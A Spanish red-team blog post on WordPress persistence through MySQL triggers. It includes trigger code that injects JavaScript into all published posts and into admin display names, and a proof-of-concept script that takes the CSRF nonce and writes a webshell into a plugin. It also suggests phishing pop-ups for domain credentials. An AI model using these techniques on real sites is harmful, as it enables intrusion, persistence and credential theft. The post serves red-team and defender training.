cabecera blog BlackArrow

Persistencia en WordPress a través de backdoors en SQL

Introduccion a backdoors en SQL

El uso de backdoors en SQL como método de persistencia en aplicativos web comprometidos es una técnica vieja y excepcionalmente efectiva. En muchas ocasiones los protocolos que se siguen para erradicar las persistencias que un atacante pueda dejar en un entorno web comprometido no son todo lo exhaustivas que se desearía, y aquellas que afectan a la base de datos son ignoradas.

Durante la ejecución de servicios de Red Team es importante utilizar diferentes métodos de persistencia con el objetivo de detectar carencias en las metodologías utilizadas por los defensores del Blue Team a la hora de limpiar un servidor comprometido; así como entrenarles en la detección de este tipo de técnicas.

Pese a que los ejemplos están orientados a WordPress, son extensibles a cualquier otra plataforma.

Backdoors en SQL a través de triggers

Un “trigger” en MySQL es un objeto de la base de datos que está asociado a una tabla y que es activado cuando se desencadena un determinado evento. Por ejemplo, podemos crear un “trigger” que ejecute una sentencia SQL en el momento en el que una determinada tabla es actualizada. Para poder crear un trigger sobre una determinada tabla, es necesario que el usuario tenga el privilegio TRIGGER.

Los backdoors en SQL basan su funcionamiento en los triggers. El concepto base consiste en la ejecución automática de sentencias SQL en el momento en que se desencadene un evento concreto. Por ejemplo, en el caso de un WordPress, podemos automatizar la adición de un javascript malicioso a todos los posts publicados en el momento en el que alguien escriba un comentario en un post cualquiera.

delimiter //

CREATE TRIGGER add_js BEFORE INSERT ON customized_comments FOR EACH ROW
BEGIN

  UPDATE customized_posts SET post_content=IF(post_content like '%test.js%', post_content, CONCAT(post_content, '')) where post_status like '%publish%';

END;
//
delimiter ;

Una vez el evento se dispare (cuando alguien publique un nuevo comentario) se realizará un update sobre la tabla customized_posts (wp_posts) para añadir el código malicioso en aquellos posts sin infectar. Obviamente podríamos aplicar un poco de ofuscación a nuestro backdoor en SQL para complicar el entendimiento de qué está ocurriendo, o incluso hacerlo más selectivo y que únicamente infectase los posts cuando un comentario contiene una determinada palabra mágica (otorgando así el control total de cuando desencadenar las acciones).

Posts normales

Posts en la base de datos antes de insertar un comentario

En el instante en el que insertamos un comentario, el trigger es disparado y un código JavaScript es añadido en todos los posts publicados (en este caso, un mero alert como prueba de concepto):

JavaScript ejecutado

El post es editado automáticamente en la base de datos para añadir al final nuestro JavaScript

Podemos observar en la base de datos la modificación realizada por nuestro backdoor:

Posts modificados

JavaScript malicioso añadido a través de nuestro backdoor en SQL

A través de este JavaScript podríamos detectar la visita de la web desde un proxy corporativo de la empresa, y en base de ingeniería social conducir a la descarga de malware, o mostrar un Pop-Up con aspecto corporativo donde se soliciten las credenciales del dominio.

Otra opción interesante puede ser la de utilizar el JavaScript para forzar al administrador a editar un plugin para que añada un pequeño backdoor en PHP (presuponiendo que no existen privilegios para la manipulación de ficheros desde MySQL). De esta forma el Red Team podrá volver a tomar el control del servidor a partir de una pequeña webshell.

Para este fin lo ideal es buscar alguna cadena de texto que le aparezca al administrador en su escritorio, a fin de evitar de esta forma cualquier posible restricción basada en la detección del referer. Un buen candidato es el display_name, ya que éste es mostrado en la parte de administración (a parte de otros sitios). En primera instancia deberemos de crear otro backdoor en SQL que edite este valor para añadirle nuestro código JavaScript:

delimiter //

CREATE TRIGGER add_js_admin BEFORE INSERT ON customized_comments FOR EACH ROW
BEGIN

  UPDATE customized_users SET display_name=IF(display_name like '%test.js%', display_name, CONCAT(display_name, ''))
where id IN (select user_id from customized_usermeta where meta_value like '%administrator%');



END;
//
delimiter ;

El código es una mera adaptación del que hemos usado antes, solo que en esta ocasión añade el código malicioso al display_name de los administradores, de tal forma que reducimos el impacto.

JavaScript añadido

JavaScript añadido al display_name que será visualizado en el panel de adminsitración

Un ejemplo de código JavaScript para editar los pluggins puede ser el siguiente (añadidos comentarios a fin de clarificar cualquier posible duda):

var ajax = new XMLHttpRequest();
ajax.open("GET","/wordpress/wp-admin/plugin-editor.php?file=hello.php",true); //Peticion para obtener el nonce 
ajax.onreadystatechange = function(){
 	if(this.readyState == 4 && this.status == 200) {
    var re = /id="_wpnonce" name="_wpnonce" value="(\w+)"/; //Regex para el nonce
    var result = this.responseText.match(re);
    var nonce = result[1]; // El nonce (de esta forma saltamos la protección anti CSRF)
    //alert(nonce);
    ajax.open("POST","/wordpress/wp-admin/plugin-editor.php",true); //Editamos con nuestro contenido

    var params = "newcontent=NUESTRA WEBSHELL";
    params += "&_wpnonce=" + nonce + "&action=update&file=hello.php&plugin=hello.php&scrollto=0&submit=Actualizar archivo";

    ajax.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    ajax.setRequestHeader("Content-length", params.length);
    ajax.setRequestHeader("Connection", "close");

    ajax.send(params);
  }
}
ajax.send();

//Ojo: sería necesario añadir alguna comprobación para no estar continuamente editando el plugin y mandando peticiones, esto es sólo un PoC

Gracias a la ejecución desde el panel de administración del código JavaScript se fuerza al administrador a editar un plugin instalado por defecto en todos los WordPress, añadiéndole nuestra webshell.

Conclusión

Hemos visto en este post una forma sencilla pero potente de persistencia en entornos WordPress (aplicable a cualquier otra plataforma web similar) a través de utilizar backdoors en SQL. Gracias a la capacidad de sobrevivir en la base de datos, si no se utiliza un backup limpio, es posible volver a tomar el control del servidor comprometido permitiendo al Red Team recuperar el que pueda ser un valioso activo dentro de la operación en curso.

Si tu empresa tiene un WordPress, o cualquier otro tipo de gestor de contenidos, recomendamos realizar pruebas de auditoría de seguridad web para conocer el estado de la seguridad de los themes y plugins de la plataforma.

Descubre nuestro trabajo y nuestros servicios de ciberseguridad en www.tarlogic.com/es/